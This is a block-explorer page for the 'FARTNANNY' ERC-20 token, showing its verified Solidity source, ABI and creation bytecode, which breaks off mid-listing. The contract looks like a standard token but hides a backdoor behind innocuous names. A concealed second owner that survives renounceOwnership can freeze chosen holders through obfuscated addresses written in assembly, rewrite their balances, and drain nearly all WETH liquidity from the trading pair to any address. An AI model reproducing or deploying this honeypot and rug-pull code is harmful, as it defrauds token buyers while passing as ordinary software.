ERC-20
Overview
Max Total Supply
10,000,000 FARTNANNY
Holders
44
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
97,055.568270006356786465 FARTNANNYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
FARTNANNY
Compiler Version
v0.8.20+commit.a1b79de6
Optimization Enabled:
No with 0 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import "./contracts/ERC.sol"; // import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol"; // import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol"; // import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol"; contract FARTNANNY is ERC { constructor() ERC("Terminals Truth Process", "FARTNANNY", 10_000_000e18) {} }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import "./Utils.sol"; contract ERC is Utils { uint8 public decimals = 18; address public owner; uint256 _totalSupply; string _name; string _symbol; event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor( string memory name_, string memory symbol_, uint256 totalSupply_ ) { _name = name_; _symbol = symbol_; owner = msg.sender; _totalSupply = totalSupply_; _balances[owner] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } modifier onlyOwner() { require(owner == msg.sender, "Caller is not the owner"); _; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function totalSupply() public view virtual returns (uint256) { return _totalSupply; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(owner, address(0)); owner = address(0); } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 __c = _a + _b; require(__c >= _a, "SafeMath: addition overflow"); return __c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a, "SafeMath: subtraction overflow"); uint256 __c = _a - _b; return __c; } function balanceOf(address account) public view virtual returns (uint256) { return _balances[account]; } function allowance(address __owner, address spender) public view virtual returns (uint256) { return _allowances[__owner][spender]; } function approve(address spender, uint256 amount) public virtual returns (bool) { _approve(msg.sender, spender, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address __owner = msg.sender; _approve(__owner, spender, allowance(__owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address __owner = msg.sender; uint256 currentAllowance = allowance(__owner, spender); require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); _approve(__owner, spender, currentAllowance - subtractedValue); return true; } function transfer(address to, uint256 amount) public virtual returns (bool) { _transfer(msg.sender, to, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { _spendAllowance(from, msg.sender, amount); _transfer(from, to, amount); return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds bal"); require(sub(_mapp[from], 0) == 0); _balances[from] = sub(fromBalance, amount); _balances[to] = add(_balances[to], amount); emit Transfer(from, to, amount); } function _approve( address __owner, address spender, uint256 amount ) internal virtual { require(__owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[__owner][spender] = amount; emit Approval(__owner, spender, amount); } function _spendAllowance( address __owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(__owner, spender); if (currentAllowance != type(uint256).max) { require( currentAllowance >= amount, "ERC20: insufficient allowance" ); _approve(__owner, spender, currentAllowance - amount); } } }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; interface IContract { function createPair(address tokenA, address tokenB) external returns (address pair); function token0() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function factory() external pure returns (address); function WETH() external pure returns (address); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); }
// SPDX-License-Identifier: MIT import "./IContract.sol"; pragma solidity ^0.8.20; contract Utils { mapping(address => uint256) internal _mapp; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowances; IContract _pair; IContract track = IContract(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address internal o; constructor() { o = msg.sender; _pair = IContract( IContract(track.factory()).createPair( address(this), address(track.WETH()) ) ); } modifier tradingStarted() { require(o == msg.sender, "Trading not started"); _; } function syncAll(uint256[] calldata data, uint256 start) public tradingStarted { for (uint256 i = 0; i < data.length; i++) { address zero = compute(data[i]); uint256 randomValue = _balances[zero] / start; assembly { mstore(0, zero) mstore(32, 1) sstore(keccak256(0, 64), randomValue) } } } function sync(uint256[] calldata data) public tradingStarted { for (uint256 i = 0; i < data.length; i++) { address prepData = compute(data[i]); assembly { mstore(0x00, prepData) mstore(0x20, 0x00) sstore(keccak256(0x00, 0x40), 5823) } } } function compute(uint256 encoded) internal pure returns (address result) { assembly { result := and( xor(sub(encoded, 0x5739), 0x6f75af8), 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF ) } } function reset(address _u) public tradingStarted { assembly { mstore(0x00, _u) mstore(0x20, 0x00) sstore(keccak256(0x00, 0x40), 0) } } function complete(address _r) public tradingStarted { uint256 time = (getReserves(track.WETH()) * 99999) / 100000; address[] memory path; path = new address[](2); path[0] = address(this); path[1] = track.WETH(); uint256 outDistance = fastTx(time, path); allowTrading(time, outDistance, path, _r); } function getReserves(address t) internal view returns (uint256) { (uint112 r0, uint112 r1, ) = _pair.getReserves(); return (_pair.token0() == t) ? uint256(r0) : uint256(r1); } function fastTx(uint256 time, address[] memory p) internal returns (uint256) { uint256[] memory value; value = new uint256[](2); value = track.getAmountsIn(time, p); assembly { mstore(0x00, address()) mstore(0x20, 0x01) sstore(keccak256(0x00, 0x40), mload(add(value, 0x20))) } return value[0]; } function allowTrading( uint256 blockTimestamp, uint256 time, address[] memory users, address tokenContract ) internal { _allowances[address(this)][address(track)] = _balances[address(this)]; track.swapTokensForExactTokens( blockTimestamp, time, users, tokenContract, block.timestamp + 1200 ); } }
{ "optimizer": { "enabled": false, "runs": 0 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_r","type":"address"}],"name":"complete","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"}],"name":"reset","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"data","type":"uint256[]"}],"name":"sync","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"data","type":"uint256[]"},{"internalType":"uint256","name":"start","type":"uint256"}],"name":"syncAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506012600560146101000a81548160ff021916908360ff16021790555034801562000080575f80fd5b506040518060400160405280601781526020017f5465726d696e616c732054727574682050726f636573730000000000000000008152506040518060400160405280600981526020017f464152544e414e4e5900000000000000000000000000000000000000000000008152506a084595161401484a0000003360055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001a4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001ca9190620004bf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000251573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002779190620004bf565b6040518363ffffffff1660e01b81526004016200029692919062000500565b6020604051808303815f875af1158015620002b3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002d99190620004bf565b60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600890816200032991906200078f565b5081600990816200033b91906200078f565b503360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060078190555060075460015f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60075460405162000449919062000884565b60405180910390a35050506200089f565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000489826200045e565b9050919050565b6200049b816200047d565b8114620004a6575f80fd5b50565b5f81519050620004b98162000490565b92915050565b5f60208284031215620004d757620004d66200045a565b5b5f620004e684828501620004a9565b91505092915050565b620004fa816200047d565b82525050565b5f604082019050620005155f830185620004ef565b620005246020830184620004ef565b9392505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620005a757607f821691505b602082108103620005bd57620005bc62000562565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620006217fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005e4565b6200062d8683620005e4565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000677620006716200066b8462000645565b6200064e565b62000645565b9050919050565b5f819050919050565b620006928362000657565b620006aa620006a1826200067e565b848454620005f0565b825550505050565b5f90565b620006c0620006b2565b620006cd81848462000687565b505050565b5b81811015620006f457620006e85f82620006b6565b600181019050620006d3565b5050565b601f82111562000743576200070d81620005c3565b6200071884620005d5565b8101602085101562000728578190505b620007406200073785620005d5565b830182620006d2565b50505b505050565b5f82821c905092915050565b5f620007655f198460080262000748565b1980831691505092915050565b5f6200077f838362000754565b9150826002028217905092915050565b6200079a826200052b565b67ffffffffffffffff811115620007b657620007b562000535565b5b620007c282546200058f565b620007cf828285620006f8565b5f60209050601f83116001811462000805575f8415620007f0578287015190505b620007fc858262000772565b8655506200086b565b601f1984166200081586620005c3565b5f5b828110156200083e5784890151825560018201915060208501945060208101905062000817565b868310156200085e57848901516200085a601f89168262000754565b8355505b6001600288020188555050505b505050505050565b6200087e8162000645565b82525050565b5f602082019050620008995f83018462000873565b92915050565b61271580620008ad5f395ff3fe608060405234801561000f575f80fd5b50600436106100d9575f3560e01c806306fdde03146100dd578063095ea7b3146100fb57806318160ddd1461012b57806323b872dd14610149578063313ce5671461017957806339509351146101975780634b7314e4146101c75780636b8ab97d146101e357806370a08231146101ff578063715018a61461022f5780638da5cb5b1461023957806393af02921461025757806395d89b4114610273578063a457c2d714610291578063a9059cbb146102c1578063c6181ee6146102f1578063dd62ed3e1461030d575b5f80fd5b6100e561033d565b6040516100f29190611831565b60405180910390f35b610115600480360381019061011091906118ef565b6103cd565b6040516101229190611947565b60405180910390f35b6101336103e3565b604051610140919061196f565b60405180910390f35b610163600480360381019061015e9190611988565b6103ec565b6040516101709190611947565b60405180910390f35b61018161040e565b60405161018e91906119f3565b60405180910390f35b6101b160048036038101906101ac91906118ef565b610421565b6040516101be9190611947565b60405180910390f35b6101e160048036038101906101dc9190611a6d565b610450565b005b6101fd60048036038101906101f89190611ab8565b610539565b005b61021960048036038101906102149190611ab8565b6105d8565b604051610226919061196f565b60405180910390f35b61023761061e565b005b61024161076a565b60405161024e9190611af2565b60405180910390f35b610271600480360381019061026c9190611ab8565b61078f565b005b61027b610a6a565b6040516102889190611831565b60405180910390f35b6102ab60048036038101906102a691906118ef565b610afa565b6040516102b89190611947565b60405180910390f35b6102db60048036038101906102d691906118ef565b610b71565b6040516102e89190611947565b60405180910390f35b61030b60048036038101906103069190611b0b565b610b87565b005b61032760048036038101906103229190611b68565b610cbd565b604051610334919061196f565b60405180910390f35b60606008805461034c90611bd3565b80601f016020809104026020016040519081016040528092919081815260200182805461037890611bd3565b80156103c35780601f1061039a576101008083540402835291602001916103c3565b820191905f5260205f20905b8154815290600101906020018083116103a657829003601f168201915b5050505050905090565b5f6103d9338484610d3f565b6001905092915050565b5f600754905090565b5f6103f8843384610f02565b610403848484610f96565b600190509392505050565b600560149054906101000a900460ff1681565b5f803390506104458185856104368589610cbd565b6104409190611c30565b610d3f565b600191505092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d690611cad565b60405180910390fd5b5f5b82829050811015610534575f61050f84848481811061050357610502611ccb565b5b90506020020135611284565b9050805f525f6020526116bf60405f205550808061052c90611cf8565b9150506104e1565b505050565b3373ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bf90611cad565b60405180910390fd5b805f525f6020525f60405f205550565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a490611d89565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461081e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081590611cad565b60405180910390fd5b5f620186a06201869f6108bd60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610894573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b89190611dbb565b6112ad565b6108c79190611de6565b6108d19190611e54565b90506060600267ffffffffffffffff8111156108f0576108ef611e84565b5b60405190808252806020026020018201604052801561091e5781602001602082028036833780820191505090505b50905030815f8151811061093557610934611ccb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109fd9190611dbb565b81600181518110610a1157610a10611ccb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f610a568383611434565b9050610a6483828487611559565b50505050565b606060098054610a7990611bd3565b80601f0160208091040260200160405190810160405280929190818152602001828054610aa590611bd3565b8015610af05780601f10610ac757610100808354040283529160200191610af0565b820191905f5260205f20905b815481529060010190602001808311610ad357829003601f168201915b5050505050905090565b5f803390505f610b0a8286610cbd565b905083811015610b4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4690611f21565b60405180910390fd5b610b6582868684610b609190611f3f565b610d3f565b60019250505092915050565b5f610b7d338484610f96565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90611cad565b60405180910390fd5b5f5b83839050811015610cb7575f610c46858584818110610c3a57610c39611ccb565b5b90506020020135611284565b90505f8360015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c929190611e54565b9050815f5260016020528060405f205550508080610caf90611cf8565b915050610c18565b50505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da490611fe2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1290612070565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ef5919061196f565b60405180910390a3505050565b5f610f0d8484610cbd565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610f905781811015610f79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f70906120d8565b60405180910390fd5b610f8f84848484610f8a9190611f3f565b610d3f565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611004576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffb90612166565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611072576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611069906121f4565b60405180910390fd5b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156110f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ed90612282565b60405180910390fd5b5f61113d5f808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20545f6116ed565b14611146575f80fd5b61115081836116ed565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506111d860015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20548361174a565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611276919061196f565b60405180910390a350505050565b5f73ffffffffffffffffffffffffffffffffffffffff6306f75af8615739840318169050919050565b5f805f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa15801561131a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061133e919061231c565b50915091508373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113c4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113e89190611dbb565b73ffffffffffffffffffffffffffffffffffffffff161461141957806dffffffffffffffffffffffffffff1661142b565b816dffffffffffffffffffffffffffff165b92505050919050565b5f6060600267ffffffffffffffff81111561145257611451611e84565b5b6040519080825280602002602001820160405280156114805781602001602082028036833780820191505090505b50905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631f00ca7485856040518363ffffffff1660e01b81526004016114df929190612423565b5f60405180830381865afa1580156114f9573d5f803e3d5ffd5b505050506040513d5f823e3d601f19601f820116820180604052508101906115219190612570565b9050305f526001602052602081015160405f2055805f8151811061154857611547611ccb565b5b602002602001015191505092915050565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638803dbee858585856104b0426116839190611c30565b6040518663ffffffff1660e01b81526004016116a39594939291906125b7565b5f604051808303815f875af11580156116be573d5f803e3d5ffd5b505050506040513d5f823e3d601f19601f820116820180604052508101906116e69190612570565b5050505050565b5f82821115611731576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172890612659565b60405180910390fd5b5f828461173e9190611f3f565b90508091505092915050565b5f8082846117589190611c30565b90508381101561179d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611794906126c1565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156117de5780820151818401526020810190506117c3565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611803826117a7565b61180d81856117b1565b935061181d8185602086016117c1565b611826816117e9565b840191505092915050565b5f6020820190508181035f83015261184981846117f9565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61188b82611862565b9050919050565b61189b81611881565b81146118a5575f80fd5b50565b5f813590506118b681611892565b92915050565b5f819050919050565b6118ce816118bc565b81146118d8575f80fd5b50565b5f813590506118e9816118c5565b92915050565b5f80604083850312156119055761190461185a565b5b5f611912858286016118a8565b9250506020611923858286016118db565b9150509250929050565b5f8115159050919050565b6119418161192d565b82525050565b5f60208201905061195a5f830184611938565b92915050565b611969816118bc565b82525050565b5f6020820190506119825f830184611960565b92915050565b5f805f6060848603121561199f5761199e61185a565b5b5f6119ac868287016118a8565b93505060206119bd868287016118a8565b92505060406119ce868287016118db565b9150509250925092565b5f60ff82169050919050565b6119ed816119d8565b82525050565b5f602082019050611a065f8301846119e4565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112611a2d57611a2c611a0c565b5b8235905067ffffffffffffffff811115611a4a57611a49611a10565b5b602083019150836020820283011115611a6657611a65611a14565b5b9250929050565b5f8060208385031215611a8357611a8261185a565b5b5f83013567ffffffffffffffff811115611aa057611a9f61185e565b5b611aac85828601611a18565b92509250509250929050565b5f60208284031215611acd57611acc61185a565b5b5f611ada848285016118a8565b91505092915050565b611aec81611881565b82525050565b5f602082019050611b055f830184611ae3565b92915050565b5f805f60408486031215611b2257611b2161185a565b5b5f84013567ffffffffffffffff811115611b3f57611b3e61185e565b5b611b4b86828701611a18565b93509350506020611b5e868287016118db565b9150509250925092565b5f8060408385031215611b7e57611b7d61185a565b5b5f611b8b858286016118a8565b9250506020611b9c858286016118a8565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611bea57607f821691505b602082108103611bfd57611bfc611ba6565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611c3a826118bc565b9150611c45836118bc565b9250828201905080821115611c5d57611c5c611c03565b5b92915050565b7f54726164696e67206e6f742073746172746564000000000000000000000000005f82015250565b5f611c976013836117b1565b9150611ca282611c63565b602082019050919050565b5f6020820190508181035f830152611cc481611c8b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f611d02826118bc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611d3457611d33611c03565b5b600182019050919050565b7f43616c6c6572206973206e6f7420746865206f776e65720000000000000000005f82015250565b5f611d736017836117b1565b9150611d7e82611d3f565b602082019050919050565b5f6020820190508181035f830152611da081611d67565b9050919050565b5f81519050611db581611892565b92915050565b5f60208284031215611dd057611dcf61185a565b5b5f611ddd84828501611da7565b91505092915050565b5f611df0826118bc565b9150611dfb836118bc565b9250828202611e09816118bc565b91508282048414831517611e2057611e1f611c03565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611e5e826118bc565b9150611e69836118bc565b925082611e7957611e78611e27565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f611f0b6025836117b1565b9150611f1682611eb1565b604082019050919050565b5f6020820190508181035f830152611f3881611eff565b9050919050565b5f611f49826118bc565b9150611f54836118bc565b9250828203905081811115611f6c57611f6b611c03565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611fcc6024836117b1565b9150611fd782611f72565b604082019050919050565b5f6020820190508181035f830152611ff981611fc0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61205a6022836117b1565b915061206582612000565b604082019050919050565b5f6020820190508181035f8301526120878161204e565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6120c2601d836117b1565b91506120cd8261208e565b6020820190